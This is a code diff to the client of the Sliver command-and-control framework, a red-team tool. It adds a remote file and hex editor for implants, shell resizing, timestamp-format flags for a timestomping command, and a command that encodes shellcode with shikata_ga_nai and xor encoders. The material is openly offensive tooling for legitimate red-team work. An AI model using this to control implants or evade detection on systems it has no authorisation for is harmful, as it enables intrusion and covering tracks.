+				}
+				if keepEditing {
+					continue
+				}
+				return
+			}
+
+			if err := uploadEditedContent(cmd, con, path, data); err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		case actionQuit:
+			if result.Force {
+				return
+			}
+			discard, err := confirm("Discard changes?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if discard {
+				return
+			}
+		}
+	}
+}
+
+func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
+	model := newEditorModel(data, filename, offset)
+	program := tea.NewProgram(model, tea.WithAltScreen())
+	finalModel, err := program.Run()
+	if err != nil {
+		return editorResult{}, err
+	}
+	editor, ok := finalModel.(*editorModel)
+	if !ok {
+		return editorResult{}, fmt.Errorf("unexpected editor state")
+	}
+	return editor.result(), nil
+}
+
+func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
+	download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
+		Request:          con.ActiveTarget.Request(cmd),
+		Path:             path,
+		RestrictedToFile: true,
+		MaxBytes:         maxBytes,
+	})
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		taskID := download.Response.TaskID
+		download = &sliverpb.Download{}
+		if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
+			return nil, err
+		}
+	}
+	return download, nil
+}
+
+func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	uploadData, err := new(encoders.Gzip).Encode(data)
+	if err != nil {
+		return err
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
+	upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
+		Request:     con.ActiveTarget.Request(cmd),
+		Path:        path,
+		Data:        uploadData,
+		Encoder:     "gzip",
+		IsDirectory: false,
+		Overwrite:   true,
+	})
+	if err == nil && upload.Response != nil && upload.Response.Async {
+		taskID := upload.Response.TaskID
+		upload = &sliverpb.Upload{}
+		err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
+	}
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		return err
+	}
+	filesystem.PrintUpload(upload, con)
+	return nil
+}
+
+func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
+	task, err := waitForBeaconTask(ctx, con, taskID)
+	if err != nil {
+		return err
+	}
+	state := strings.ToLower(task.State)
+	if state != "completed" {
+		if state == "" {
+			state = "unknown"
+		}
+		return fmt.Errorf("beacon task %s %s", task.ID, state)
+	}
+	if len(task.Response) == 0 {
+		return fmt.Errorf("beacon task %s returned empty response", task.ID)
+	}
+	return proto.Unmarshal(task.Response, out)
+}
+
+func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
+	ticker := time.NewTicker(beaconPollInterval)
+	defer ticker.Stop()
+
+	for {
+		task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
+		if err != nil {
+			return nil, err
+		}
+		state := strings.ToLower(task.State)
+		if state == "completed" || state == "failed" || state == "canceled" {
+			return task, nil
+		}
+		select {
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		case <-ticker.C:
+		}
+	}
+}
+
+func confirm(title string) (bool, error) {
+	answer := false
+	if err := forms.Confirm(title, &answer); err != nil {
+		if errors.Is(err, forms.ErrUserAborted) {
+			return false, nil
+		}
+		return false, err
+	}
+	return answer, nil
+}
+
+func parseByteSize(input string) (int64, error) {
+	value := strings.TrimSpace(input)
+	if value == "" {
+		return 0, fmt.Errorf("size is required")
+	}
+	value = strings.ReplaceAll(value, " ", "")
+	value = strings.ToUpper(value)
+
+	idx := 0
+	for idx < len(value) {
+		c := value[idx]
+		if (c >= '0' && c <= '9') || c == '.' {
+			idx++
+			continue
+		}
+		break
+	}
+	if idx == 0 {
+		return 0, fmt.Errorf("invalid size %q", input)
+	}
+
+	numStr := value[:idx]
+	unitStr := strings.TrimSpace(value[idx:])
+	if unitStr == "" {
+		unitStr = "B"
+	}
+
+	multiplier := int64(1)
+	switch unitStr {
+	case "B":
+		multiplier = 1
+	case "K", "KB", "KIB":
+		multiplier = 1024
+	case "M", "MB", "MIB":
+		multiplier = 1024 * 1024
+	case "G", "GB", "GIB":
+		multiplier = 1024 * 1024 * 1024
+	case "T", "TB", "TIB":
+		multiplier = 1024 * 1024 * 1024 * 1024
+	default:
+		return 0, fmt.Errorf("unknown size unit %q", unitStr)
+	}
+
+	numVal, err := strconv.ParseFloat(numStr, 64)
+	if err != nil {
+		return 0, fmt.Errorf("invalid size %q", input)
+	}
+	if numVal <= 0 {
+		return 0, fmt.Errorf("size must be greater than zero")
+	}
+
+	size := int64(numVal * float64(multiplier))
+	if size <= 0 {
+		return 0, fmt.Errorf("size is out of range")
+	}
+	return size, nil
+}

client/command/jobs/commands.go

@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		f.BoolP("no-canaries", "c", false, "disable dns canary detection")
 		f.StringP("lhost", "L", "", "interface to bind server to")
 		f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
-		f.BoolP("disable-otp", "D", false, "disable otp authentication")
 	})
 
 	// HTTP

client/command/jobs/dns.go

@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
 	lhost, _ := cmd.Flags().GetString("lhost")
 	lport, _ := cmd.Flags().GetUint32("lport")
 	canaries, _ := cmd.Flags().GetBool("no-canaries")
-	enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
 
 	con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
 	dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
-		Domains:    domains,
-		Host:       lhost,
-		Port:       lport,
-		Canaries:   !canaries,
-		EnforceOTP: !enforceOTP,
+		Domains:  domains,
+		Host:     lhost,
+		Port:     lport,
+		Canaries: !canaries,
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/wg.go

@@ -32,12 +32,13 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 	nport, _ := cmd.Flags().GetUint32("nport")
 	keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
 
-	con.PrintInfof("Starting Wireguard listener ...\n")
+	con.PrintInfof("Starting Wireguard listener (udp:%d, tcp-comms:%d, key-exchange:%d) ...\n", lport, nport, keyExchangePort)
 	wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
 		Port:    lport,
 		NPort:   nport,
 		KeyPort: keyExchangePort,
 	})
+	con.Println()
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {

client/command/privilege/commands.go

@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	}
 	flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
 		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+		f.Bool("unix", false, "interpret timestamps as Unix seconds")
+		f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
+		f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
+		f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
 	})
 	carapace.Gen(chtimesCmd).PositionalCompletion(
 		carapace.ActionValues().Usage("path to file to change access timestamps"),
-		carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
-		carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
+		carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
+		carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
 	)
 
 	getprivsCmd := &cobra.Command{

client/command/server.go

@@ -46,6 +46,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
+	shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
 	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/taskmany"
@@ -69,6 +70,10 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
 				HiddenDefaultCmd: true,
 			},
 		}
+		if !con.IsCLI {
+			server.SilenceErrors = true
+			server.SilenceUsage = true
+		}
 
 		// Utility function to be used for binding new commands to
 		// the sliver menu: call the function with the name of the
@@ -103,7 +108,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
 			crack.Commands,
 			certificates.Commands,
 			clean.Command,
-      aka.ServerCommands,
+			aka.ServerCommands,
 		)
 
 		// C2 Network
@@ -119,6 +124,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
 		// Payloads
 		bind(consts.PayloadsHelpGroup,
 			sgn.Commands,
+			shellcodeencoders.Commands,
 			generate.Commands,
 			builders.Commands,
 		)

client/command/shell/resize_unix.go

@@ -0,0 +1,97 @@
+//go:build !windows
+
+package shell
+
+import (
+	"context"
+	"os"
+	"os/signal"
+	"sync"
+	"syscall"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	sigCh := make(chan os.Signal, 1)
+	signal.Notify(sigCh, syscall.SIGWINCH)
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-sigCh:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			signal.Stop(sigCh)
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/shell/resize_windows.go

@@ -0,0 +1,93 @@
+//go:build windows
+
+package shell
+
+import (
+	"context"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+	"os"
+	"sync"
+	"time"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		ticker := time.NewTicker(250 * time.Millisecond)
+		defer ticker.Stop()
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-ticker.C:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/shell/shell.go

@@ -84,10 +84,25 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
 	// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
 	tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
+	var rows uint32
+	var cols uint32
+	if !noPty {
+		colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
+		if err != nil || rowsInt <= 0 || colsInt <= 0 {
+			colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
+		}
+		if err == nil && rowsInt > 0 && colsInt > 0 {
+			rows = uint32(rowsInt)
+			cols = uint32(colsInt)
+		}
+	}
+
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(cmd),
 		Path:      shellPath,
 		EnablePTY: !noPty,
+		Rows:      rows,
+		Cols:      cols,
 		TunnelID:  tunnel.ID,
 	})
 	if err != nil {
@@ -120,6 +135,12 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
 		}
 	}
 
+	stopPtyResize := func() {}
+	if !noPty {
+		stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
+	}
+	defer stopPtyResize()
+
 	log.Printf("Starting stdin/stdout shell ...")
 	go func() {
 		n, err := io.Copy(os.Stdout, tunnel)

client/command/shellcode-encoders/commands.go

@@ -0,0 +1,55 @@
+package shellcodeencoders
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the shellcode-encoders command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	shellcodeEncodersCmd := &cobra.Command{
+		Use:   consts.ShellcodeEncodersStr,
+		Short: "List supported shellcode encoders",
+		Long:  help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
+		Args:  cobra.NoArgs,
+		Run: func(cmd *cobra.Command, args []string) {
+			ShellcodeEncodersCmd(cmd, con, args)
+		},
+		GroupID: consts.PayloadsHelpGroup,
+	}
+	flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	shellcodeEncodersEncodeCmd := &cobra.Command{
+		Use:   "encode <shellcode file>...",
+		Short: "Encode shellcode using server encoders",
+		Long:  help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ShellcodeEncodersEncodeCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
+		f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
+		f.StringP("arch", "a", "amd64", "architecture of the shellcode")
+		f.IntP("iterations", "i", 1, "number of encoding iterations")
+		f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
+		f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
+		(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
+		(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
+		(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
+	})
+	carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
+	shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
+
+	return []*cobra.Command{shellcodeEncodersCmd}
+}

client/command/shellcode-encoders/encode.go

@@ -0,0 +1,166 @@
+package shellcodeencoders
+
+import (
+	"encoding/hex"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/spf13/cobra"
+)
+
+// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
+func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	encoderFlag, _ := cmd.Flags().GetString("encoder")
+	if strings.TrimSpace(encoderFlag) == "" {
+		con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
+		return
+	}
+
+	encoderName := normalizeShellcodeEncoderName(encoderFlag)
+	encoderEnum, ok := shellcodeEncoderEnum(encoderName)
+	if !ok {
+		con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
+		return
+	}
+
+	archFlag, _ := cmd.Flags().GetString("arch")
+	arch := normalizeShellcodeArch(archFlag)
+	if arch == "" {
+		arch = "amd64"
+	}
+
+	iterations, _ := cmd.Flags().GetInt("iterations")
+	if iterations <= 0 {
+		iterations = 1
+	}
+
+	badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
+	badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	output, _ := cmd.Flags().GetString("output")
+	outputInfo, err := outputInfoForArgs(output, len(args))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	hadError := false
+	for _, path := range args {
+		data, err := os.ReadFile(path)
+		if err != nil {
+			con.PrintErrorf("Failed to read %s: %s\n", path, err)
+			hadError = true
+			continue
+		}
+
+		resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
+			Encoder:      encoderEnum,
+			Architecture: arch,
+			Iterations:   uint32(iterations),
+			BadChars:     badChars,
+			Data:         data,
+			Request:      con.ActiveTarget.Request(cmd),
+		})
+		if err != nil {
+			con.PrintErrorf("Failed to encode %s: %s\n", path, err)
+			hadError = true
+			continue
+		}
+		if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
+			con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
+			hadError = true
+			continue
+		}
+
+		outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
+		if err != nil {
+			con.PrintErrorf("Failed to write %s: %s\n", path, err)
+			hadError = true
+			continue
+		}
+
+		if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
+			con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
+			hadError = true
+			continue
+		}
+
+		con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
+	}
+
+	if hadError {
+		con.PrintWarnf("One or more files failed to encode\n")
+	}
+}
+
+func decodeHexBytes(label string, raw string) ([]byte, error) {
+	trimmed := strings.TrimSpace(raw)
+	trimmed = strings.TrimPrefix(trimmed, "0x")
+	trimmed = strings.TrimPrefix(trimmed, "0X")
+	trimmed = strings.ReplaceAll(trimmed, " ", "")
+	if trimmed == "" {
+		return nil, nil
+	}
+	data, err := hex.DecodeString(trimmed)
+	if err != nil {
+		return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
+	}
+	return data, nil
+}
+
+func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
+	if output == "" {
+		return nil, nil
+	}
+	info, err := os.Stat(output)
+	if err != nil {
+		if os.IsNotExist(err) {
+			if argCount > 1 {
+				if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
+					return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
+				}
+				info, err = os.Stat(output)
+				if err != nil {
+					return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
+				}
+				return info, nil
+			}
+			return nil, nil
+		}
+		return nil, err
+	}
+	if argCount > 1 && !info.IsDir() {
+		return nil, fmt.Errorf("output must be a directory when encoding multiple files")
+	}
+	return info, nil
+}
+
+func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
+	suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
+	base := filepath.Base(inputPath)
+	if output == "" {
+		return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
+	}
+	if multiple {
+		if outputInfo == nil || !outputInfo.IsDir() {
+			return "", fmt.Errorf("output must be a directory when encoding multiple files")
+		}
+		return filepath.Join(output, base+suffix), nil
+	}
+	if outputInfo != nil && outputInfo.IsDir() {
+		return filepath.Join(output, base+suffix), nil
+	}
+	return output, nil
+}

client/command/shellcode-encoders/helpers.go

@@ -0,0 +1,103 @@
+package shellcodeencoders
+
+import (
+	"fmt"
+	"sort"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/rsteube/carapace"
+)
+
+var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
+	"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+	"xor":            clientpb.ShellcodeEncoder_XOR,
+	"xor_dynamic":    clientpb.ShellcodeEncoder_XOR_DYNAMIC,
+}
+
+func normalizeShellcodeEncoderName(name string) string {
+	normalized := strings.ToLower(strings.TrimSpace(name))
+	normalized = strings.ReplaceAll(normalized, "-", "_")
+	return normalized
+}
+
+func normalizeShellcodeArch(arch string) string {
+	normalized := strings.ToLower(strings.TrimSpace(arch))
+	switch normalized {
+	case "amd64", "x64", "x86_64":
+		return "amd64"
+	case "386", "x86", "i386":
+		return "386"
+	case "arm64", "aarch64":
+		return "arm64"
+	default:
+		return normalized
+	}
+}
+
+func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
+	normalized := normalizeShellcodeEncoderName(name)
+	encoder, ok := shellcodeEncoderNameToEnum[normalized]
+	return encoder, ok
+}
+
+func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+}
+
+// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
+func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		encoderMap, err := fetchShellcodeEncoderMap(con)
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
+		}
+
+		nameArchs := map[string][]string{}
+		for arch, archMap := range encoderMap.GetEncoders() {
+			if archMap == nil {
+				continue
+			}
+			for name := range archMap.GetEncoders() {
+				nameArchs[name] = append(nameArchs[name], arch)
+			}
+		}
+
+		names := make([]string, 0, len(nameArchs))
+		for name := range nameArchs {
+			names = append(names, name)
+		}
+		sort.Strings(names)
+
+		results := []string{}
+		for _, name := range names {
+			arches := nameArchs[name]
+			sort.Strings(arches)
+			desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
+			results = append(results, name, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
+	})
+}
+
+// ShellcodeEncoderArchCompleter returns available architectures.
+func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		encoderMap, err := fetchShellcodeEncoderMap(con)
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
+		}
+
+		arches := make([]string, 0, len(encoderMap.GetEncoders()))
+		for arch := range encoderMap.GetEncoders() {
+			arches = append(arches, arch)
+		}
+		sort.Strings(arches)
+		return carapace.ActionValues(arches...).Tag("shellcode architectures")
+	})
+}

client/command/shellcode-encoders/shellcode-encoders.go

@@ -0,0 +1,65 @@
+package shellcodeencoders
+
+import (
+	"sort"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+)
+
+// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
+func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	DisplayShellcodeEncoders(encoderMap, con)
+}
+
+// DisplayShellcodeEncoders - Display shellcode encoder map from server.
+func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
+	if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
+		con.PrintInfof("No shellcode encoders available\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
+	tw.SortBy([]table.SortBy{
+		{Name: "Arch", Mode: table.Asc},
+		{Name: "Encoder", Mode: table.Asc},
+	})
+
+	arches := make([]string, 0, len(encoderMap.GetEncoders()))
+	for arch := range encoderMap.GetEncoders() {
+		arches = append(arches, arch)
+	}
+	sort.Strings(arches)
+
+	for _, arch := range arches {
+		archMap := encoderMap.GetEncoders()[arch]
+		if archMap == nil {
+			continue
+		}
+		names := make([]string, 0, len(archMap.GetEncoders()))
+		for name := range archMap.GetEncoders() {
+			names = append(names, name)
+		}
+		sort.Strings(names)
+		for _, name := range names {
+			desc := archMap.GetDescriptions()[name]
+			tw.AppendRow(table.Row{arch, name, desc})
+		}
+	}
+
+	con.Println(tw.Render())
+}

client/command/sliver.go

@@ -27,6 +27,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
+	"github.com/bishopfox/sliver/client/command/edit"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
 	"github.com/bishopfox/sliver/client/command/extensions"
@@ -48,6 +49,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/wasm"
 	"github.com/bishopfox/sliver/client/command/wireguard"
+	"github.com/bishopfox/sliver/client/command/hexedit"
 	client "github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/reeflective/console"
@@ -63,6 +65,10 @@ func SliverCommands(con *client.SliverClient) console.Commands {
 				HiddenDefaultCmd: true,
 			},
 		}
+		if !con.IsCLI {
+			sliver.SilenceErrors = true
+			sliver.SilenceUsage = true
+		}
 
 		// Utility function to be used for binding new commands to
 		// the sliver menu: call the function with the name of the
@@ -79,7 +85,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
 			// use.Commands,
 			tasks.Commands,
 			pivots.Commands,
-      aka.ImplantCommands,
+			aka.ImplantCommands,
 		)
 
 		// [ Info ]
@@ -94,6 +100,8 @@ func SliverCommands(con *client.SliverClient) console.Commands {
 
 		// [ Filesystem ]
 		bind(consts.FilesystemHelpGroup,
+			edit.Commands,
+			hexedit.Commands,
 			filesystem.Commands,
 		)
 

client/command/tasks/fetch.go

@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
 		}
 
 		f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
-		f.BoolP("output", "o", true, "capture command output")
+		f.BoolP("output", "o", execReq.Output, "capture command output")
+		f.Bool("background", execReq.Background, "start the process in the background and track it")
 		f.BoolP("loot", "X", false, "save output as loot")
 		f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
-		f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
-		f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
+		f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
+		f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
 
 		execCmd := &cobra.Command{Use: constants.ExecuteStr}
